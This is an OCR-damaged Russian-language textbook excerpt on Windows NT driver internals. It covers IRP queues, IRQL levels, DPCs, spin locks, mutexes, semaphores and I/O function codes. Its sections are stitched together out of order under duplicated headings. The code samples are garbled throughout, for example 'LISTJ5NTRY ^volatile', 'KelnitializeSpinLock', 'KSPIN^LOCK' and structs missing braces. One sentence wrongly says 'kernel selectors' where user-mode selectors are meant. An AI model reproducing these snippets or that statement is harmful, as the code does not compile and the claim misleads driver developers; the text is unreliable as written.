    Из всего вышеизложенного нужно выделить основные моменты:
  • 1. Все адресное пространство процесса (контекст памяти) делится на две области
  • системное адресное пространство (верхние 2 Гб) и пользовательское адресное пространство (нижние 2 Гб):

  • Системное адресное пространство всегда одинаково, вне зависимости от текущего контекста памяти.

  • Пользовательское адресное пространство разное для каждого контекста памяти.

  • 2. Код пользовательского режима и режима ядра пользуется для доступа к памяти разными селекторами:
  • Для одного контекста памяти селекторы адресуют одну и ту же физическую память, но с разными режимами доступа.

  • Селекторы не имеют ничего общего с контекстом памяти.

  • По селекторам для ядра можно получить доступ (по крайней мере, для чтения) ко всему адресному пространству в данном контексте памяти, а по селекторам для ядра - только для пользовательской области памяти.

  • 3. Код в пользовательском адресном пространстве всегда вытесняемый, если не предприняты меры по созданию новой записи в каталоге страниц, указывающих на невытесняемую память.

  • 4. Код, работающий на уровне IRQL большем или равном DISPATCH_LEVEL, может использовать только невыгружаемую память (соответственно, сам код должен находиться в невыгружаемой памяти).

  • 5. В ОС существуют функции для выполнения любой работы с памятью:
  • Выделение/освобождение памяти в выгружаемой/невыгружаемой, кешируемой/некешируемой памяти.

  • Преобразование адресов памяти (виртуальный в физический, физический в виртуальный).

  • Проверка доступности памяти. Рассмотрим эти функции более подробно.


  • Функции управления очередью низкого уровня

    Функции управления очередью низкого уровня

    Для организации очереди с помощью функций низкого уровня используется стандартная структура LISTJENTRY.
    typedef struct _LIST_ENTRY {

    struct _LISTJ5NTRY ^volatile Flink; // Указатель

    // на следующий элемент списка

    struct _LIST_ENTRY ^volatile Blink; // Указатель

    // на предыдущий элемент списка

    } LIST_ENTRY, *PLIST_ENTRY;
    Очередь, как это видно из определения структуры, двунаправленная.

    В структуре DeviceExtension обычно создается экземпляр структуры LISTJENTRY, представляющей голову очереди, который затем инициализируется с помощью функции InitializeListHead(). После этого можно добавлять или удалять записи в очередь. Для этого используются функции InsertHeadList(), InsertTailList(), RemoveHeadList(), RemoveTailList(), RemoveEntryList().

    Пакеты IRP добавляются в очередь в диспетчерской функции, скорее всего работающей на уровне IRQL равном PASSIVE_LEVEL. При этом выниматься из очереди они могут функциями, работающими на любом уровне IRQL, причем функции, выбирающие IRP из очереди, могут вытеснять функции, помещающие IRP в очередь. Возникает проблема синхронизации. Если ее не решить, незаконченная операция помещения IRP в очередь может быть прервана операцией выборки IRP из очереди, что приведет к появлению синего экрана.

    Синхронизация доступа к разделяемому ресурсу производится с помощью спин-блокировки (механизмы синхронизации будут рассмотрены в следующем разделе). Поскольку операции добавления и удаления записей в очередь на уровнях IRQL PASSIVE_LEVEL и DISPATCH_LEVEL очень распространены, для их безопасного

    осуществления предусмотрена специальная функция: ExInterlocked...List(). Для использования этой функции должна быть создана и инициализирована спин-блокировка. Создается она обычно там же, где и голова очереди (обычно в DeviceExtension), и инициализируется после инициализации головы очереди. Например:
    typedef struct _DEVICE_EXTENSION

    LIST__ENTRY ListHead; KSPIN^LOCK ListLock;

    }DEVICE_EXTENSION, *PDEVICE_EXTENSION;

    //В функции DriverEntry

    InitializeListHead (& (pDeviceExtension->ListHead) ) ;

    KelnitializeSpinLock (& (pDeviceExtension->ListLock) ) ;

    //после этого можно добавлять и удалять записи

    PLIST_ENTRY pOldHead = ExInterlockedlnsertHeadList ( & (pDeviceExtension->ListHead) , pNewListEntry, & (pDeviceExte'nsion->ListLock) ) ;

    Как видно из определения структуры LIST_ENTRY, она не содержит полей для хранения собственно данных (например, указателя на пакет IRP). Поэтому распространенный способ использования структуры LIST_ENTRY - включение ее экземпляра в состав более общей структуры.

    Для организации очереди пакетов IRP, в каждом пакете IRP в поле Tail.Over-lay.ListEntry содержится экземпляр структуры LIST_ENTRY. При этом встает вопрос, как, зная указатель на структуру LIST_ENTRY, получить указатель на структуру IRP, в состав которой входит LIST_ENTRY. Для этого DDK предоставляет специальный макрос CONTAINING_RECORD:

    #define CONTAINING_RECORD (address, type, field) \

    ((type *) ( (PCHAR) (address) - (ULONG_PTR) (&((type *) 0) ->f ield) ) )

    Где: Address - Известный адрес некоторого поля структуры, адрес которой необходимо получить;

    Туре - Тип структуры, адрес которой необходимо получить;

    Field- Имя поля внутри искомой структуры, адрес этого поля передан в параметре address.

    Применительно к IRP, мы должны будем написать что-то вроде:

    PListEntry = ExInterlockedRemoveHeadList ( & (pDeviceExtension->ListHead) , & (pDeviceExtension->ListLock) ) ;

    plrp = CONTAINING_RECORD(pListEntry, IRP, Tail. Overlay. ListEntry) ; //далее - обработка IRP

    Организация очереди пакетов IRP показана на Рисунок 12.

    Функции управления очередью высокого уровня - «Очередь Устройства» (Device Queue)

    Функции управления очередью высокого уровня - «Очередь Устройства» (Device Queue)

    Драйвер создает дополнительные Очереди Устройства с помощью выделения памяти из невыгружаемой памяти под дополнительные объекты-Очереди Устройства (KDEVICE_QUEUE) и инициализирует эти объекты с помощью функции Kelnitia-HzeDeviceQueue(). Добавление пакетов IRP в эти очереди производится с помощью функции KelnsertDevieeQueue() или KelnsertByKeyDeviceQueue(), а выборка пакетов из очереди - KeRemoveDeviceQueue(), KeRemoveByKeyDeviceQueue() или KeRemoveEntryDeviceQueue().

    Для организации очереди пакетов IRP используется структура типа KDEVICE_ QUEUE_ENTRY, указатель на которую содержится в пакете IRP в поле Tail.Over-lay.DeviceQueueEntry.




    Характеристики Объекта DPC

    Характеристики Объекта DPC

    Объекты DPC имеют две характеристики, которые влияют на путь, которым они обрабатываются. Этими характеристиками являются поля Importance и Number.

    Характеристики подсистемы ввода/вывода

    Характеристики подсистемы ввода/вывода

    В предыдущем разделе мы рассмотрели схему использования системных сервисов, то есть прохождение запроса ввода/вывода от приложения к драйверу и обратно. Компонентом ОС, отвечающим за реализацию этой схемы, является Диспетчер ввода/ вывода. Диспетчер ввода/вывода является компонентом более общей модели - подсистемы ввода/вывода. Подсистема ввода/вывода включает в себя все компоненты, которые обеспечивают возможность осуществления ввода/вывода. В число этих компонент входит Диспетчер ввода/вывода и все драйверы режима ядра. В числе характеристик подсистемы ввода/вывода NT принято выделять следующие:
  • 1. согласованность и высокая структурированность;

  • 2. переносимость между процессорными архитектурами;

  • 3. конфигурируемость;

  • 4. вытесняемость и прерываемость;

  • 5. поддержка многопроцессорности;

  • 6. объектная базированность (но не объектная ориентированность);

  • 7. асинхронность;

  • 8. подсистема ввода/вывода управляется пакетами;

  • 9. подсистема ввода/вывода многоуровневая (послойная модель).

  • Как уже говорилось, подсистема ввода/вывода NT управляется пакетами. При таком подходе каждый запрос ввода/вывода описывается своим собственным пакетом запроса ввода/вывода (I/O Request Packet - IRP). При задействовании системного сервиса (например, при запросе на чтение или запись в файл) Диспетчер ввода/вывода обрабатывает этот запрос путем создания пакета IRP, Описывающего запрос, и затем передает указатель на этот пакет драйверу для обработки.



    Имя устройства и символическая связь

    Имя устройства и символическая связь

    При создании объекта-устройства также может быть указано его имя, которое будет видимо в директории «\Device» пространства имен диспетчера объектов. Объекты- устройства используются в Windows NT как точки входа в пространства имен, не контролируемые менеджером объектов. Если при разборе имени объекта диспетчер объектов встречает объект-устройство, то он вызывает метод разбора, связанный с этим устройством.

    Если имя не указано, объект-устройство может быть использован только внутри драйвера и недоступен извне. Если быть более точным, такой объект-устройство можно использовать, если иметь указатель на описывающую его структуру.

    Именованный объект-устройство доступен для использования через вызов системного сервиса NtCreateFile().

    Для обращения к именованному объекту-устройству из подсистемы Win32 посредством функции CreateFile() должны быть предприняты дополнительные действия. Функция CreateFile() ищет имя устройства в директории Диспетчера Объектов «\??» (NT 4.0 и Win2000), либо «\DosDevices»(NT 3.51). Поэтому в соответствующей директории, а для большей совместимости это должна быть «\DosDevices», должен быть создан объект (символическая связь), указывающий на имя устройства в директории «\Device». Обычно связь создается в самом драйвере, хотя это можно сделать и из прикладной программы пользовательского режима с помощью Win32- функции DefmeDosDevice().




    Интегрированная поддержка сети

    Интегрированная поддержка сети

    Windows NT разработана со встроенной сетевой поддержкой и включает широкую поддержку сети, интегрированную с системой ввода/вывода и интерфейсом Win32 API.

    Четырьмя основными типами сетевого программного обеспечения являются сетевые сервисы, сетевые API, протоколы и драйверы сетевых карт, располагающиеся друг под другом, формируя сетевой стек.

    Windows NT предоставляет хорошо определенные интерфейсы для каждого слоя в стеке, чтобы в дополнение к поставляющемуся с Windows NT множеству различных сетевых интерфейсов API, протоколов и драйверов сетевых карт, пользователи могли расширять сетевые возможности ОС путем разработки собственного сетевого программного обеспечения.




    IRQL PASSIVE_LEVEL, APC_LEVEL и DISPATCH_LEVEL

    IRQL PASSIVE_LEVEL, APC_LEVEL и DISPATCH_LEVEL

    Наименьший приоритет IRQL в таблице 5 - Passive Level. Этот уровень является обычным уровнем IRQL, на котором производится работа в операционной системе, как в пользовательском режиме, так и в режиме ядра. Когда процессор находится в этом состоянии, не происходит никакой Деятельности по обработке прерываний. Подпрограмма, выполняющаяся на уровне IRQL passive_level, может быть подвергнута прерыванию и вытеснению почти всем, чем угодно еще случившемся в системе. Так, потоки, выполняющиеся на IRQL passive_level, подвергаются вытеснению Диспетчером (планировщиком) по истечении их кванта времени.

    Большинство подпрограмм уровня исполнительной системы Windows NT (то есть подпрограммы режима ядра, не принадлежащие Микроядру и HAL) стремятся держать уровень IRQL как можно более низким. В большинстве случаев, это приводит к выполнению большинства подпрограмм на уровне IRQL passive_level. Эта стратегия повышает возможность выполнения действий с высоким уровнем IRQL.

    Следующие два уровня IRQL выше Passive Level (APC Level и Dispatch Level) -программные уровни прерываний, связанные с планировщиком.

    Когда система находится на уровне APC Level, исполняющийся поток не будет получать запросы АРС, которые NT обычно использует для операций завершения ввода/вывода.
    IRQL dispatch_level используется внутри Windows NT для двух различных действий:
  • Обработка Отложенных Вызовов Процедур (DPCs);

  • Выполнение Диспетчера (планировщик NT).

  • DPC обработка обсуждена позже в этой главе, в собственном разделе. Следовательно, мы ограничимся обсуждением Диспетчера. Диспетчер, является планировщиком потоков Windows NT. Он отвечает за реализацию алгоритма планирования, который выбирает, какой поток будет выполняться, и осуществляет приоритетное прерывание (выгрузку) в конце кванта времени.

    Диспетчер (планировщик) Windows NT получает запросы, чтобы выполнить операцию перепланирования на уровне IRQL dispatch_level. Когда операционная система решает заменить поток, который выполняется на текущем процессоре, она иногда может вызывать Диспетчер напрямую.
    Однако, когда система выполняется на уровне IRQL выше, чем dispatchjevel, она запрашивает программное прерывание уровня dispatch_level. Результатом явится запуск на текущем процессоре Диспетчера в следующий раз, когда уровень dispatch_level станет наиболее приоритетным для обслуживания системой.

    Рассмотрим, например, случай потока, выполняющегося в режиме пользователя. Так как он выполняется в режиме пользователя, этот поток, конечно, выполняется на IRQL passive_level. В то время как поток выполняется, часы периодически генерируют прерывания, чтобы указать операционной системе прохождение промежутка времени. С каждым переданным тиком часов, программа обработки прерывания часов уменьшает остающийся у выполняющегося в данный момент потока квант времени. Когда оставшийся у потока квант уменьшается до нуля, программа обработки прерывания часов генерирует прерывание уровня dispatchjevel, чтобы запросить запуск Диспетчера и выбор им следующего потока для выполнения. Так как программа обработки прерывания часов выполняется на уровне IRQL большем, чем dispateh_level (она выполняется на уровне IRQL CLOCK2_LEVEL на х86 процессорах), обработка запроса для Диспетчера откладывается.

    После генерирования прерывания уровня dispatch_level, программа обработки прерывания часов заканчивает любую другую работу, которую она должна сделать и управление возвращается Микроядру.

    Затем Микроядро распознает следующее самое высоко приоритетное прерывание, которое находится в режиме ожидания. Каждое прерывание обслуживается по очереди. Когда для обслуживания не остается никаких прерываний уровня выше dispatchjevel, выполняется программа обработки прерывания уровня dispatch_level. Эта программа обработки прерывания обрабатывает список DPC (обсуждаемый позже), и задействует Диспетчер, чтобы выбрать новый поток выполнения.

    Когда задействуется Диспетчер, он обращает внимание, что квант времени текущего потока был уменьшен до нуля. Затем Диспетчер осуществляет алгоритм планирования Windows NT, чтобы определить следующий поток, который нужно запланировать.Если выбран новый поток (мог бы быть перепланирован предыдущий поток), происходит переключение контекста. Если нет никаких ожидающих вызовов АРС для вновь выбранного потока, код потока будет выполнен, когда система возвратится обратно к уровню IRQL PASSIVE_LEVEL.

    Исполнительная система (The Executive)

    Исполнительная система (The Executive)

    Надо отметить, что в разных источниках понятие исполнительной системы интерпретируется по-разному. Например, в документации DDK исполнительная система - это совокупность компонентов, исполняющихся в привилегированном режиме - режиме ядра, и формирующих законченную ОС за исключением пользовательского интерфейса. В данном случае к компонентам исполнительной системы относятся также само ядро и слой абстрагирования от оборудования (HAL). В других источниках ядро и HAL рассматриваются как отдельные модули. В этой книге решено было следовать именно этому разделению, хотя бы потому, что HAL не предоставляет системных сервисов, к которым могут обращаться защищенные подсистемы.

    Подсистемы Исполнительной Системы NT составляют наиболее существенный слой в режиме ядра, и они исполняют больщую часть функций, традиционно связанных с операционными системами. В Таблице 1 перечислены подсистемы Исполнительной Системы NT, и Рисунок 2 показывает их позицию в архитектуре NT. Эти подсистемы имеют разные обязанности и названия, так что Вы могли бы подумать, что они являются различными процессами. Например, когда программа типа Microsoft Word запрашивает обслуживание операционной системы типа распределения памяти, поток управления передается от программы Word в режим ядра через «родной» интерфейс системных сервисов NT. Тогда обработчик системного сервиса для распределения памяти напрямую вызывает соответствующую функцию Диспетчера Виртуальной Памяти. Запрошенное распределение памяти выполняется в контексте процесса Word, который запросил его, то есть нет никакого переключения контекста к другому системному процессу.

    Драйверы Windows NT, включая драйверы устройств, промежуточные драйверы и драйверы файловых систем, после загрузки рассматриваются как часть исполнительной системы, а точнее как часть системы ввода/вывода.

    Все компоненты, кроме диспетчера кэша, предоставляют определенное множество системных сервисов, к которым могут обращаться защищенные подсистемы.
    И каждый компонент исполнительной системы реализует множество внутренних процедур, доступных только компонентам исполнительной системы.

    Префиксы в названиях внутренних процедур соответствуют названиям компонентов исполнительной системы, обеспечивающих эти процедуры, например: «Ех» для функций, реализуемых компонентом Ex(ecutive) Support — исполнительным модулем, Ps - диспетчером процессов, Ob — диспетчером объектов, Iо — диспетчером ввода/ вывода, Mm - диспетчером памяти, Сс - диспетчером кэша, Se - монитором безопасности.

    Исполнительная система не исполняется постоянно в собственном процессе, а работает в контексте некоторого существующего процесса, завладевая выполняющимся потоком, когда происходит важное системное событие. Например, когда поток вызывает системный сервис, в результате чего происходит программное прерывание, или когда внешнее устройство генерирует прерывание, ядро получает управление потоком, который выполнялся процессором. Оно выпдлняет соответствующий системный код для обработки события и затем возвращает управление коду, выполнявшемуся перед прерыванием.

    Исполнительный модуль (executive support) - это особый компонент исполнительной системы ОС Windows NT, давший свое имя целой группе модулей операционной системы. Он отвечает за многие разнообразные функции, включая управление очередями (их блокирование), управление резидентной и нерезидентной системной областью памяти, увеличение/уменьшение значения глобальной переменной и др. Этот компонент обеспечивает также системные рабочие потоки, которые драйверы NT, особенно драйверы файловых систем, используют для выполнения необходимой работы.

    Использование обычных спин-блокировок

    Использование обычных спин-блокировок
  • 1. VOID KeInitializeSpinLock(IN PKSPIN_LOCK SpinLock); Эта функция инициализирует объект ядра KSPIN_LOCK. Память под спин-блокировку уже должна быть выделена в невыгружаемой памяти.

    2. VOID KeAcquireSpinLock(IN PKSPIN_LOGK SpinLock, OUT PKIRQL Oldlrql); Эта функция захватывает спин-блокировку. Функция не вернет управление до успеха захвата блокировки. При завершении функции уровень IRQL повышается до уровня DISPATCH_LEVEL. Во втором параметре возвращается уровень IRQL, который был до захвата блокировки (он должен быть <= DISPATCH_LEVEL).

    3. VOID KeReleaseSpinLock(IN PKSPINJLOCK SpinLock, OUT PKIRQL Newlrql); Эта функция освобождает спин-блокировку и устанавливает уровень IRQL в значение параметра Newlrql. Это должно быть то значение, которое вернула функция KeAcquireSpinLock() в параметре Oldlrql.

    4. VOID KeAcquireLockAtDpcLevel(IN PKSPIN_LOCK SpinLock); Эта оптимизированная функция захватывает спин-блокировку кодом, уже работающем на уровне IRQL DISPATCH_LEVEL. В этом случае изменение уровня IRQL не требуется. На однопроцессорной платформе эта функция вообще ничего не делает, так как синхронизация обеспечивается самой архитектурой IRQL.

    5. VOID KeReleaseLockFromDpcLevel(IN PKSPIN_LOCK SpinLock); Эта функция освобождает спин-блокировку кодом, захватившим блокировку с помощью функции KeAcquireLockAtDpcLevel(). На однопроцессорной платформе эта функция ничего не делает.


  • Пример использования обычных спин-блокировок:
    typedef struct _DEVICE_EXTENSION

    KSPIN_LOCK spinlock }DEVICE_EXTENSION, *PDEVICE_EXTENSION;

    *

    NTSTATUS DriverEntry (....)

    KelnitializeSpinLock(&extension->spinlock); }

    NTSTATUS DispatchReadWrite( ...)

    {

    KIRQL Oldlrql;

    KeAcquireSpinLock(&extension->spinlock, &01dlrql); // произвести обработку данных, // защищенных спин-блокировкой

    KeReleaseSpinLock(&extension->spinlock, Oldlrql); }

    Ядро

    Ядро

    Ядро ОС Windows NT реагирует на прерывания и исключения, занимается планированием потоков, сохранением и восстановлением контекстов потоков, направляет потоки на выполнение, выполняет межпроцессорную синхронизацию, предоставляет набор сервисов, элементарных объектов и интерфейсов, используемых компонентами исполнительной системы. Большая часть ядра зависит от типа процессора.

    Драйверы NT и компоненты исполнительной системы вызывают внутренние процедуры, обеспечиваемые ядром, названия которых начинаются с префикса Ke(rnel) -ядро.

    Ядро экспортирует два основных типа объектов ядра: объекты-диспетчеры (dispatcher objects) и управляющие объекты (control objects). Объекты ядра отличаются от объектов исполнительного уровня, создаваемых и управляемых менеджером объектов, и зачастую являются базисом для них.

    Объект-диспетчер используется для планирования и синхронизации и имеет атрибут, определяющий его состояние - «занят» или «свободен». Объектами-диспетчерами являются: события, мьютексы, семафоры и таймеры.

    Управляющие объекты используются для управления системными операциями. Управляющими объектами являются: АРС-объект (Asynchronous Procedure Call), содержащий адрес процедуры асинхронного вызова и указатель на объект-поток, который будет исполнять данный вызов; DPC-объект (Deferred Procedure Call), содержащий адрес процедуры отложенного вызова; объект-прерывание, отвечающий за установление соответствия между определенным вектором прерывания и процедурой обработки прерывания (Interrupt Service Routine, ISR) драйвера устройства.




    Эмуляция нескольких ОС

    Эмуляция нескольких ОС

    Подсистемы окружения операционной системы NT реализованы как системы типа клиент/сервер. Как часть процесса компиляции, прикладные программы прикрепляются на этапе компоновки к API операционной системы, который экспортируют подсистемы окружения ОС NT . Связывание на этапе компоновки подключает прикладную программу к клиентским DLLs подсистем окружения, которые осуществляют экспорт API. Например, Win32 программа - это клиент подсистемы окружения Win32, поэтому она связана с клиентскими DLL Win32, включая Kerael32.dll, gdi32.dll, и user32.dll. Программа POSIX связана с клиентской DLL POSIX - psxdll.dll.

    Клиентские DLL выполняют задачи от имени их серверов, но они выполняются, как часть клиентского процесса. Как показано Рисунок 1, в некоторых случаях пользовательская DLL может полностью реализовывать API без необходимости обращения к помощи сервера; в других случаях сервер должен помочь. Помощь сервера обычно необходима только когда должна быть модифицирована общая информация, связанная с подсистемой окружения. Когда пользовательская DLL требует помощи от сервера, DLL посылает сообщение, известное, как вызов локальной процедуры (LPC) на сервер. Когда сервер завершает указанный запрос и возвращает ответ, DLL может завершить функцию и возвратить управление клиенту. И пользовательская DLL и сервер могут использовать «родной» API, когда это необходимо. API подсистем окружения дополняют «родной» API специфическими функциональными возможностями или семантикой.

    Как используются IRQL

    Как используются IRQL

    NT управляет прерываниями путем отображения уровней прерывания контроллера прерываний в собственную аппаратно-независимую таблицу уровней прерываний. Осуществляет отображение слой абстрагирования от оборудования (HAL - модуль NT, специально написанный для конкретных контроллеров прерываний, материнских плат, либо наборов микросхем процессоров). В мультипроцессорных системах принять прерывание может любой процессор, поэтому NT поддерживает независимый IRQL для каждого процессора. IRQL процессора представляет уровень прерывания, который маскируется в данный момент процессором и прямо соответствует (аналогичен) прерываниям, которые маскирует контроллер прерываний CPU. Поскольку уровни IRQL NT не привязаны к какой-либо спецификации оборудования, NT также может отображать в свою иерархию приоритетов неаппаратные типы прерываний. Операционная система использует программные прерывания в основном для запуска операций планирования, таких как переключение потоков или обработка завершения ввода/вывода.

    Когда NT обслуживает аппаратное прерывание, NT устанавливает IRQL процессора в соответствующее значение таблицы IRQL NT. NT программирует контроллер прерываний так, чтобы он маскировал прерывания с более низким приоритетом, и драйверы устройств (так же как и NT) могут запрашивать IRQL для определения его значения. (Как мы увидим позднее, NT позволяет выполнять некоторые операции только когда IRQL меньше определенных значений.)

    Размер таблицы IRQL разнится между архитектурами процессоров (Intel, Alpha и др.) для того, чтобы лучше отображать уровни прерываний, предоставляемые контроллерами прерываний, однако уровни прерываний, которые могут найти интересными разработчики драйверов устройств и разработчики NT, имеют символические имена.

    Коды функции ввода/вывода

    Коды функции ввода/вывода

    NT использует коды функции ввода/вывода для определения конкретной операции ввода/вывода, которая будет иметь место для конкретного объекта-файла. Коды функции ввода/вывода Windows NT разделены на коды главной и второстепенной функции ввода/вывода. Оба кода находятся в IRP в Стеке Размещения Ввода/вывода драйвера. Главные функциональные коды определены символами, которые начинаются с IRP_MJ_. Перечислим некоторые из главных кодов функции ввода/вывода:
  • 1. IRP_MJ_CREATE. Этот главный функциональный код соответствует созданию нового объекта-файла, либо при обращении к существующему устройству или файлу, либо при создании нового файла. Этот функциональный код представляет запросы, идущие через функцию Win32 CreateFile() или базовый системный сервис NtCreateFile().

  • 2. IRP_MJ_CLOSE. Этот главный функциональный код соответствует уничтожению предварительно созданного объекта-файла. Этот функциональный код представляет запросы, идущие через функцию Win32 CloseHandle() или базовый системный сервис NtClose(). К появлению этого запроса ввода/вывода может привести не каждый вызов CloseHandle(), так как на соответствующий файловый объект могут ссылаться другие, еще не закрытые описатели. Объект не может быть уничтожен, пока для него есть описатели. Кроме того, для каждого объекта диспетчер объектов ведет подсчет ссылок, и объект не может быть уничтожен, пока его число ссылок не равно нулю.

    3. IRP_MJ_READ. Этот главный функциональный код выполняет операцию чтения для существующего объекта-файла. Этот функциональный код представляет запросы, идущие через функцию Win32 ReadFile() или базовый системный сервис NtReadFile().

    4. IRP_MJ_WRITE. Этот главный функциональный код выполняет операцию записи для существующего объекта-файла. Этот функциональный код представляет запросы, идущие через функцию Win32 WriteFile() или системный сервис NtWriteFile().

    5. IRP_MJ_DEVICE_CONTROL. Этот главный функциональный код выполняет определенную драйвером функцию для существующего объекта-файла. Этот функциональный код представляет запросы, идущие через функцию Win32 DeviceloControl() или базовый системный сервис NtDeviceloControlFile().

    6. IRP_MJ_INTERNAL_DEVICE_CONTROL. Этот главный функциональный код выполняет определенную драйвером функцию для существующего объекта-файла. Никаких API уровня пользователя, соответствующих этой функции, нет. Эта функция используется, когда один драйвер посылает запрос ввода/вывода другому драйверу.

  • Законченный список кодов функции ввода/вывода представлен в NTDDK.H. Второстепенные коды функции ввода/вывода в NT определены символами, которые начинаются с IRP_MN_. NT обычно избегает использование второстепенных функциональных кодов для перезагрузки главной функции для драйверов устройства, приветствуя вместо этого использование Кодов Управления вводом/выводом (I/O Control Codes, IOCTL). Поэтому, почти все IRP, полученные драйверами устройства, имеют второстепенный функциональный код IRP_MN_NORMAL (который имеет значение 0x00). Вообще, второстепенные коды функции ввода/вывода используются исключительно файловыми системами и сетевыми транспортами. Например, одним из второстепенных кодов функции ввода/вывода, специфичным для файловой системы, является IRP_MN_COMPRESSED, указывающий, что данные должны быть записаны на том в сжатом формате.

    Главные и второстепенные коды функции ввода/вывода, связанные с конкретным IRP, сохранены в полях MajorFunction и MinorFunction текущего Стека Размещения Ввода/вывода в IRP. На эти поля можно ссылаться, как показано в примере проверки главных и второстепенных функциональных кодов IRP:
    loStack = loGetCurrentlrpStackLocation (Irp) ;

    if (IoStack->MajorFunction == IRP_MJ_READ)

    {

    if (IoStack->MinorFunction == IRP_MN_NORMAL)

    {

    // что-то делать

    }

    }



    Контекст исполнения и уровень IRQL

    Контекст исполнения и уровень IRQL

    Говоря о точках входа в драйвер, необходимо отметить контекст, при котором эти точки входа могут быть вызваны.

    Вначале необходимо определиться с тем, что мы подразумеваем под контекстом исполнения?

    Контекст исполнения определяется двумя составляющими:
  • исполняемый в настоящее время поток (контекст планирования потока - thread scheduling context);

  • контекст памяти процесса, которому принадлежит поток.

  • Текущий контекст исполнения может принадлежать одному из трех классов:
  • контекст процесса «System» (далее - системный контекст);

  • контекст конкретного потока и процесса;

  • контекст случайного потока и процесса (далее - случайный контекст).

  • Различные точки входа в драйвер могут вызываться в контексте, принадлежащем одному из этих классов.

    DriverEntry всегда вызывается в системном контексте.

    Диспетчерские функции для драйверов верхнего уровня (то есть получающих запрос от прикладных программ) вызываются в контексте инициирующего запрос потока.

    Диспетчерские функции драйверов остальных уровней, получающие запрос от драйвера верхнего уровня, вызываются в случайном контексте.

    Все точки входа, связанные с сериализацией запросов ввода/вывода или с обработкой прерываний и DPC, вызываются в случайном контексте.

    DriverEntry всегда вызывается на IRQL, равным PASSIVE_LEVEL.

    Диспетчерские точки входа вызываются на IRQL, равным PASSIVE_LEVEL или APC_LEVEL.

    Вызов отложенных процедур - на DISPATCH_LEVEL

    Функции обработки прерываний - на одном из DIRQL.



    Механизмы синхронизации

    Механизмы синхронизации

    В операционной системе с вытесняющей многозадачностью, да еще поддерживающей несколько процессоров, остро встает задача синхронизации доступа к совместно используемым ресурсам компьютера, будь то аппаратное устройство или структура в памяти.



    Многопоточность

    Многопоточность

    Каждая исполняющаяся в NT программа представляется как процесс.

    Процесс (process) - это программа (статическая последовательность команд и данные) и системные ресурсы, необходимые для ее работы. ОС предоставляет каждому процессу адресное пространство, выделенное для программы, и гарантирует, что программа каждого процесса будет направляться на выполнение в определенном порядке и в нужное время. Чтобы процесс смог заработать, он должен включать, по крайней мере, один поток исполнения (thread of execution).

    Поток (thread) - единица исполнения в NT. Поток - это сущность внутри процесса, которую ядро направляет на исполнение, он может принадлежать только одному процессу. Поток состоит из указателя текущей команды, пользовательского стека, стека ядра и набора значений регистров. Все потоки процесса имеют одинаковый доступ к его адресному пространству, описателям объектов и другим ресурсам. Потоки реализованы как объекты-потоки.

    Начальный поток возникает при создании процесса, и затем он может создать дополнительные потоки.

    Каждый поток имеет свой собственный приоритет, в соответствии с которым, ОС будет принимать решение о его запуске. При этом принадлежность потока к конкретному процессу не учитывается.




    Многоуровневая модель драйверов

    Многоуровневая модель драйверов

    Ранее в качестве одной из характеристик подсистемы ввода/вывода упоминалась ее многоуровневость. Что это такое?

    NT позволяет выстраивать драйверы в соответствии с некоторой функциональной иерархией. При этом, например, одни драйверы имеют своей единственной целью обмен данными с некоторым физическим устройством. Что это за данные и что с ними делать, такие драйвера не знают. Другие драйвера выполняют обработку данных, но не знают в точности, как эти данные получены и как будут отправлены. Такая концепция разделения полномочий драйверов носит название многоуровневой (или послойной) модели драйверов (layered driver model), а сами драйвера - уровневыми драйверами (layered drivers).

    В NT 4.0 концепция многоуровневых драйверов занимает важное место, но ее использование не является обязательным требованием.

    В Win2000 все драйвера, считающиеся родными, будут уровневыми (для того, чтобы драйвер считался родным для Win2000, он должен как минимум поддерживать управление питанием, а для этого он должен быть уровневым). Большинство драйверов, которые в NT4 мы считали монолитными, в Win2000 будут по своей сути уровневыми. Будем выделять следующие типы драйверов:
  • 1.драйверы, представляющие некоторый уровень в многоуровневой архитектуре. Далее именно эти драйверы мы будем называть уровневыми драйверами;

  • 2. драйверы-фильтры;

  • 3. драйверы файловой системы (File System Driver, FSD);

  • 4. мини-драйверы (mini-driver).

  • Для каждого типа драйверов существует свой протокол реализации многоуровневой структуры. Мы рассмотрим только уровневые драйверы и драйверы-фильтры.


    Функции работы с мьютексами ядра:

    1) VOID KeInitializeMutex(IN PKMUTEX Mutex, IN ULONG Level); Эта функция инициализирует мьютекс. Память под мьютекс уже должна быть выделена. После инициализации мьютекс находится в сигнальном состоянии.

    2) LONG KeReleaseMutex(IN PKMUTEX Mutex, IN BOOLEAN Wait); Эта функция освобождает мьютекс, с указанием того, последует ли сразу после этого вызов функции ожидания мьютекса.
    Если параметр Wait равен TRUE, сразу за вызовом KeReleaseMutexQ должен следовать вызов одной из функций ожидания KeWaitXxxQ. В этом случае гарантируется, что пара функций - освобождение мьютекса и ожидание - будет выполнена как одна операция, без возможного в противном случае переключения контекста потока. Возвращаемым значением будет 0, если мьютекс был освобожден, то есть переведен из несигнального состояния в сигнальное. В противном случае возвращается ненулевое значение.

    3) LONG KeReadStateMutex(IN PKMUTEX Mutex); Эта функция возвращает состояние мьютекса - сигнальное или несигнальное.

    2.4.5.2.3. Семафоры

    Семафоры являются более гибкой формой мьютексов. В отличие от мьютексов, программа имеет контроль над тем, сколько потоков одновременно могут захватывать семафор.

    Семафор инициализируется с помощью функции KeInitializeSemaphore(): VOID KelnitializeSemaphore( IN PKSEMAPHORE Semaphore, IN LONG Count, IN LONG Limit); Где:

    Count - начальное значение, присвоенное семафору, определяющее число свободных в данный момент ресурсов. Если Count=0, семафор находится в несигнальном состоянии (свободных ресурсов нет), если >0 - в сигнальном;

    Limit - максимальное значение, которое может достигать Count (максимальное число свободных ресурсов).

    Функция KeReleaseSemaphoreQ увеличивает счетчик семафора Count на указанное в параметре функции значение, то есть освобождает указанное число ресурсов. Если при этом значение Count превышает значение Limit, значение Count не изменяется и генерируется исключение STATUS_SEMAPHORE_COUNT_EXCEEDED.

    При вызове функции ожидания счетчик семафора уменьшается на 1 для каждого разблокированного потока (число свободных ресурсов уменьшается). Когда он достигает значения 0, семафор переходит в несигнальное состояние (свободных ресурсов нет). Использование семафора не зависит от контекста потока или процесса в том смысле, что занять ресурс семафора может один поток, а освободить его - другой, но драйвер не должен использовать семафоры в случайном контексте потока, так как в этом случае будет заблокирован случайный поток, не имеющий к драйверу никакого отношения.


    Семафоры следует использовать в ситуациях, когда драйвер создал собственные системные потоки.

    2.4.5.2.4. События

    События(еуеп1з) позволяют проводить синхронизацию исполнения различных потоков, то есть один или несколько потоков могут ожидать перевода события в сигнальное состояние другим потоком.

    При этом события могут быть двух видов:

